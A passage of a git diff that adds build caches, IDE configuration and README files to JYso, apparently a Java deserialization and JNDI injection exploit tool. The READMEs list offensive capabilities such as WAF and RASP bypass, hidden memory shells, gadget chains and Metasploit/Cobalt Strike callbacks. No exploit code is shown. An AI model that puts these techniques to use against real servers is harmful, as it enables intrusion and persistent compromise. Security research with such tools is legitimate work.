OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors getJacc() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc.api + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors getApi() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1 + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors getV1() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4 + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors getV4() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors extends VersionFactory { + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec with value 1.0.3.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSpec() { return getVersion("org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec"); } + + } + + public static class OrgJbossWeldVersionAccessors extends VersionFactory { + + private final OrgJbossWeldWeldVersionAccessors vaccForOrgJbossWeldWeldVersionAccessors = new OrgJbossWeldWeldVersionAccessors(providers, config); + public OrgJbossWeldVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.weld.weld + */ + public OrgJbossWeldWeldVersionAccessors getWeld() { + return vaccForOrgJbossWeldWeldVersionAccessors; + } + + } + + public static class OrgJbossWeldWeldVersionAccessors extends VersionFactory { + + public OrgJbossWeldWeldVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.weld.weld.core with value 1.1.33.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.jboss.weld.weld.core"); } + + } + + public static class OrgJenkinsVersionAccessors extends VersionFactory { + + private final OrgJenkinsCiVersionAccessors vaccForOrgJenkinsCiVersionAccessors = new OrgJenkinsCiVersionAccessors(providers, config); + public OrgJenkinsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jenkins.ci + */ + public OrgJenkinsCiVersionAccessors getCi() { + return vaccForOrgJenkinsCiVersionAccessors; + } + + } + + public static class OrgJenkinsCiVersionAccessors extends VersionFactory { + + private final OrgJenkinsCiMainVersionAccessors vaccForOrgJenkinsCiMainVersionAccessors = new OrgJenkinsCiMainVersionAccessors(providers, config); + public OrgJenkinsCiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jenkins.ci.main + */ + public OrgJenkinsCiMainVersionAccessors getMain() { + return vaccForOrgJenkinsCiMainVersionAccessors; + } + + } + + public static class OrgJenkinsCiMainVersionAccessors extends VersionFactory { + + public OrgJenkinsCiMainVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jenkins.ci.main.remoting with value 2.55 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getRemoting() { return getVersion("org.jenkins.ci.main.remoting"); } + + } + + public static class OrgOw2VersionAccessors extends VersionFactory { + + private final OrgOw2AsmVersionAccessors vaccForOrgOw2AsmVersionAccessors = new OrgOw2AsmVersionAccessors(providers, config); + public OrgOw2VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.ow2.asm + */ + public OrgOw2AsmVersionAccessors getAsm() { + return vaccForOrgOw2AsmVersionAccessors; + } + + } + + public static class OrgOw2AsmVersionAccessors extends VersionFactory { + + public OrgOw2AsmVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.ow2.asm.asm with value 8.0.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAsm() { return getVersion("org.ow2.asm.asm"); } + + } + + public static class OrgPythonVersionAccessors extends VersionFactory { + + private final OrgPythonJythonVersionAccessors vaccForOrgPythonJythonVersionAccessors = new OrgPythonJythonVersionAccessors(providers, config); + public OrgPythonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.python.jython + */ + public OrgPythonJythonVersionAccessors getJython() { + return vaccForOrgPythonJythonVersionAccessors; + } + + } + + public static class OrgPythonJythonVersionAccessors extends VersionFactory { + + public OrgPythonJythonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.python.jython.standalone with value 2.5.2 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getStandalone() { return getVersion("org.python.jython.standalone"); } + + } + + public static class OrgReflectionsVersionAccessors extends VersionFactory { + + public OrgReflectionsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.reflections.reflections with value 0.9.10 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getReflections() { return getVersion("org.reflections.reflections"); } + + } + + public static class OrgSpringframeworkVersionAccessors extends VersionFactory { + + private final OrgSpringframeworkSpringVersionAccessors vaccForOrgSpringframeworkSpringVersionAccessors = new OrgSpringframeworkSpringVersionAccessors(providers, config); + public OrgSpringframeworkVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.springframework.spring + */ + public OrgSpringframeworkSpringVersionAccessors getSpring() { + return vaccForOrgSpringframeworkSpringVersionAccessors; + } + + } + + public static class OrgSpringframeworkSpringVersionAccessors extends VersionFactory { + + private final OrgSpringframeworkSpringContextVersionAccessors vaccForOrgSpringframeworkSpringContextVersionAccessors = new OrgSpringframeworkSpringContextVersionAccessors(providers, config); + public OrgSpringframeworkSpringVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.springframework.spring.aop with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAop() { return getVersion("org.springframework.spring.aop"); } + + /** + * Version alias org.springframework.spring.beans with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getBeans() { return getVersion("org.springframework.spring.beans"); } + + /** + * Version alias org.springframework.spring.core with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.springframework.spring.core"); } + + /** + * Version alias org.springframework.spring.jdbc with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJdbc() { return getVersion("org.springframework.spring.jdbc"); } + + /** + * Version alias org.springframework.spring.oxm with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getOxm() { return getVersion("org.springframework.spring.oxm"); } + + /** + * Version alias org.springframework.spring.test with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getTest() { return getVersion("org.springframework.spring.test"); } + + /** + * Version alias org.springframework.spring.tx with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getTx() { return getVersion("org.springframework.spring.tx"); } + + /** + * Version alias org.springframework.spring.web with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWeb() { return getVersion("org.springframework.spring.web"); } + + /** + * Version alias org.springframework.spring.webmvc with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWebmvc() { return getVersion("org.springframework.spring.webmvc"); } + + /** + * Group of versions at versions.org.springframework.spring.context + */ + public OrgSpringframeworkSpringContextVersionAccessors getContext() { + return vaccForOrgSpringframeworkSpringContextVersionAccessors; + } + + } + + public static class OrgSpringframeworkSpringContextVersionAccessors extends VersionFactory { + + public OrgSpringframeworkSpringContextVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.springframework.spring.context.support with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSupport() { return getVersion("org.springframework.spring.context.support"); } + + } + + public static class RhinoVersionAccessors extends VersionFactory { + + public RhinoVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias rhino.js with value 1.7R2 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJs() { return getVersion("rhino.js"); } + + } + + public static class RomeVersionAccessors extends VersionFactory { + + public RomeVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias rome.rome with value 1.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getRome() { return getVersion("rome.rome"); } + + } + + public static class XercesVersionAccessors extends VersionFactory { + + public XercesVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias xerces.xercesimpl with value 2.12.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getXercesimpl() { return getVersion("xerces.xercesimpl"); } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class BundleAccessors extends BundleFactory { + + public BundleAccessors(ObjectFactory objects, ProviderFactory providers, DefaultVersionCatalog config, ImmutableAttributesFactory attributesFactory, CapabilityNotationParser capabilityNotationParser) { super(objects, providers, config, attributesFactory, capabilityNotationParser); } + + } + + public static class PluginAccessors extends PluginFactory { + + public PluginAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + } + +} diff --git a/.gradle/8.7/dependencies-accessors/gc.properties b/.gradle/8.7/dependencies-accessors/gc.properties new file mode 100644 index 0000000..e69de29 diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin new file mode 100644 index 0000000..cbf2cf7 Binary files /dev/null and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock new file mode 100644 index 0000000..4238338 Binary files /dev/null and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/expanded/expanded.lock b/.gradle/8.7/expanded/expanded.lock new file mode 100644 index 0000000..1647f33 Binary files /dev/null and b/.gradle/8.7/expanded/expanded.lock differ diff --git a/.gradle/8.7/fileChanges/last-build.bin b/.gradle/8.7/fileChanges/last-build.bin new file mode 100644 index 0000000..f76dd23 Binary files /dev/null and b/.gradle/8.7/fileChanges/last-build.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin new file mode 100644 index 0000000..00281f2 Binary files /dev/null and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock new file mode 100644 index 0000000..18bbe81 Binary files /dev/null and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin new file mode 100644 index 0000000..35236fc Binary files /dev/null and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/8.7/gc.properties b/.gradle/8.7/gc.properties new file mode 100644 index 0000000..e69de29 diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock new file mode 100644 index 0000000..bd9e681 Binary files /dev/null and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/buildOutputCleanup/cache.properties b/.gradle/buildOutputCleanup/cache.properties new file mode 100644 index 0000000..197efed --- /dev/null +++ b/.gradle/buildOutputCleanup/cache.properties @@ -0,0 +1,2 @@ +#Tue Apr 02 15:02:40 CST 2024 +gradle.version=8.7 diff --git a/.gradle/buildOutputCleanup/outputFiles.bin b/.gradle/buildOutputCleanup/outputFiles.bin new file mode 100644 index 0000000..b97f889 Binary files /dev/null and b/.gradle/buildOutputCleanup/outputFiles.bin differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe new file mode 100644 index 0000000..148422c Binary files /dev/null and b/.gradle/file-system.probe differ diff --git a/.gradle/vcs-1/gc.properties b/.gradle/vcs-1/gc.properties new file mode 100644 index 0000000..e69de29 diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..35410ca --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# 默认忽略的文件 +/shelf/ +/workspace.xml +# 基于编辑器的 HTTP 客户端请求 +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/.name b/.idea/.name new file mode 100644 index 0000000..bb5bf0b --- /dev/null +++ b/.idea/.name @@ -0,0 +1 @@ +JYso \ No newline at end of file diff --git a/.idea/GrepConsole.xml b/.idea/GrepConsole.xml new file mode 100644 index 0000000..0877289 --- /dev/null +++ b/.idea/GrepConsole.xml @@ -0,0 +1,24 @@ + + + + + + \ No newline at end of file diff --git a/.idea/JYso-master.iml b/.idea/JYso-master.iml new file mode 100644 index 0000000..d6ebd48 --- /dev/null +++ b/.idea/JYso-master.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/artifacts/JNDIExploit_jar.xml b/.idea/artifacts/JNDIExploit_jar.xml new file mode 100644 index 0000000..815b21d --- /dev/null +++ b/.idea/artifacts/JNDIExploit_jar.xml @@ -0,0 +1,61 @@ + + + $PROJECT_DIR$/out/artifacts/JNDIExploit_jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/artifacts/JNDIExploit_war_exploded.xml b/.idea/artifacts/JNDIExploit_war_exploded.xml new file mode 100644 index 0000000..caf7b7b --- /dev/null +++ b/.idea/artifacts/JNDIExploit_war_exploded.xml @@ -0,0 +1,13 @@ + + + $PROJECT_DIR$/out/artifacts/JNDIExploit_war_exploded + + + + + + + + + + \ No newline at end of file diff --git a/.idea/codeStyles/codeStyleConfig.xml b/.idea/codeStyles/codeStyleConfig.xml new file mode 100644 index 0000000..a55e7a1 --- /dev/null +++ b/.idea/codeStyles/codeStyleConfig.xml @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/.idea/compiler.xml b/.idea/compiler.xml new file mode 100644 index 0000000..44d1c92 --- /dev/null +++ b/.idea/compiler.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 0000000..1b2e955 --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/gradle.xml b/.idea/gradle.xml new file mode 100644 index 0000000..033850f --- /dev/null +++ b/.idea/gradle.xml @@ -0,0 +1,20 @@ + + + + + + + \ No newline at end of file diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 0000000..9df06f3 --- /dev/null +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,114 @@ + + + + \ No newline at end of file diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml new file mode 100644 index 0000000..07b5c3f --- /dev/null +++ b/.idea/jarRepositories.xml @@ -0,0 +1,55 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/jpa-buddy.xml b/.idea/jpa-buddy.xml new file mode 100644 index 0000000..898e07a --- /dev/null +++ b/.idea/jpa-buddy.xml @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/.idea/junitgenerator-prj-settings.xml b/.idea/junitgenerator-prj-settings.xml new file mode 100644 index 0000000..f272ba1 --- /dev/null +++ b/.idea/junitgenerator-prj-settings.xml @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/.idea/libraries/Java_EE_6_Java_EE_6.xml b/.idea/libraries/Java_EE_6_Java_EE_6.xml new file mode 100644 index 0000000..7c7eb31 --- /dev/null +++ b/.idea/libraries/Java_EE_6_Java_EE_6.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/coherence.xml b/.idea/libraries/coherence.xml new file mode 100644 index 0000000..2753072 --- /dev/null +++ b/.idea/libraries/coherence.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0.xml b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0.xml new file mode 100644 index 0000000..2c0f582 --- /dev/null +++ b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0__2_.xml b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0__2_.xml new file mode 100644 index 0000000..e5675c3 --- /dev/null +++ b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0__2_.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client.xml b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client.xml new file mode 100644 index 0000000..6c3e7ee --- /dev/null +++ b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client__2_.xml b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client__2_.xml new file mode 100644 index 0000000..b0dd55d --- /dev/null +++ b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client__2_.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_ejb.xml b/.idea/libraries/javax_ejb.xml new file mode 100644 index 0000000..ac68bd0 --- /dev/null +++ b/.idea/libraries/javax_ejb.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_persistence.xml b/.idea/libraries/javax_persistence.xml new file mode 100644 index 0000000..4de4f6b --- /dev/null +++ b/.idea/libraries/javax_persistence.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_servlet_jsp.xml b/.idea/libraries/javax_servlet_jsp.xml new file mode 100644 index 0000000..8138f8d --- /dev/null +++ b/.idea/libraries/javax_servlet_jsp.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_servlet_jsp_jstl.xml b/.idea/libraries/javax_servlet_jsp_jstl.xml new file mode 100644 index 0000000..b79500b --- /dev/null +++ b/.idea/libraries/javax_servlet_jsp_jstl.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/lib.xml b/.idea/libraries/lib.xml new file mode 100644 index 0000000..9f4ee14 --- /dev/null +++ b/.idea/libraries/lib.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/weblogic.xml b/.idea/libraries/weblogic.xml new file mode 100644 index 0000000..fa80f5e --- /dev/null +++ b/.idea/libraries/weblogic.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/weblogic__2_.xml b/.idea/libraries/weblogic__2_.xml new file mode 100644 index 0000000..be5a1b1 --- /dev/null +++ b/.idea/libraries/weblogic__2_.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/webserviceclient.xml b/.idea/libraries/webserviceclient.xml new file mode 100644 index 0000000..628e4a8 --- /dev/null +++ b/.idea/libraries/webserviceclient.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/webserviceclient__2_.xml b/.idea/libraries/webserviceclient__2_.xml new file mode 100644 index 0000000..d4b16e3 --- /dev/null +++ b/.idea/libraries/webserviceclient__2_.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/wlthint3client.xml b/.idea/libraries/wlthint3client.xml new file mode 100644 index 0000000..0799a87 --- /dev/null +++ b/.idea/libraries/wlthint3client.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/wlthint3client__2_.xml b/.idea/libraries/wlthint3client__2_.xml new file mode 100644 index 0000000..c777909 --- /dev/null +++ b/.idea/libraries/wlthint3client__2_.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..93acca1 --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/qaplug_profiles.xml b/.idea/qaplug_profiles.xml new file mode 100644 index 0000000..3dfd21f --- /dev/null +++ b/.idea/qaplug_profiles.xml @@ -0,0 +1,465 @@ + + + + + \ No newline at end of file diff --git a/.idea/remote-targets.xml b/.idea/remote-targets.xml new file mode 100644 index 0000000..5a58f5c --- /dev/null +++ b/.idea/remote-targets.xml @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml new file mode 100644 index 0000000..e96534f --- /dev/null +++ b/.idea/uiDesigner.xml @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..77ff83f --- /dev/null +++ b/README.md @@ -0,0 +1,59 @@ +# 🐦‍⬛ JYso + +![](https://img.shields.io/badge/JDK-1.6+-orange) + +JYso是一款可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能。 + +[English Readme](README_EN.md) + +# 🦜 help! + +具体的使用请查看[wiki](https://github.com/qi4L/JYso/wiki)。 + +可以从这里下载最新版本的[releases](https://github.com/qi4L/JYso/releases)。 + +# 🐲 特点 + ++ JNDI 账号密码启动 ++ JNDI 路由隐藏或加密 ++ JNDI 高版本Bypass ++ 12个可用回显类 ++ 18个可用的内存马类,且支持修改内存马的路径、密码、验证的HTTP头与值 ++ 75条可用 Gadget,并提供多种利用方式 ++ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ 内存马写入 JRE 或环境变量来隐藏 ++ 序列化数据加脏数据 ++ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等 ++ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载 ++ 动态生成混淆的类名 ++ MSF/CS 上线 + + +# ✨ 404StarLink 2.0 - Galaxy + +JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中的一环,如果您有 关于JYso的问题或者想找伙伴交流,可以参考星链加群方式项目。 + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +# 🪸 Star History + +[![Star History Chart](https://api.star-history.com/svg?repos=qi4L/JYso&type=Date)](https://star-history.com/#qi4L/JYso&Date) + +# 📷 参考 + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://github.com/Whoopsunix/utf-8-overlong-encoding + diff --git a/README_EN.md b/README_EN.md new file mode 100644 index 0000000..63663b0 --- /dev/null +++ b/README_EN.md @@ -0,0 +1,66 @@ +# 🐦‍⬛JYso + +JYso is a tool that can be used as both ysoserial and JNDIExploit. It also has bypass functions of multiple JNDI high versions, WAF, and RASP. + +# 🦜Help! + +Please check [wiki](https://github.com/qi4L/JYso/wiki) for specific usage. + +You can download the latest version [releases](https://github.com/qi4L/JYso/releases) from here. + +# 🐲Features + ++ JNDI account activation ++ JNDI routing hidden or encrypted ++ JNDI high version Bypass ++ 12 available echo classes ++ 18 available memshell classes, and supports modifying the memshell path, password, authentication HTTP header and value ++ 75 available Gadgets and provide multiple ways to use them ++ Memory horse supports [No file landing Agent entry](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ write the memshell to JRE or environment variable to hide ++ Serialized data plus dirty data ++ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ Secondary deserialization of SignedObject, which can be used to bypass 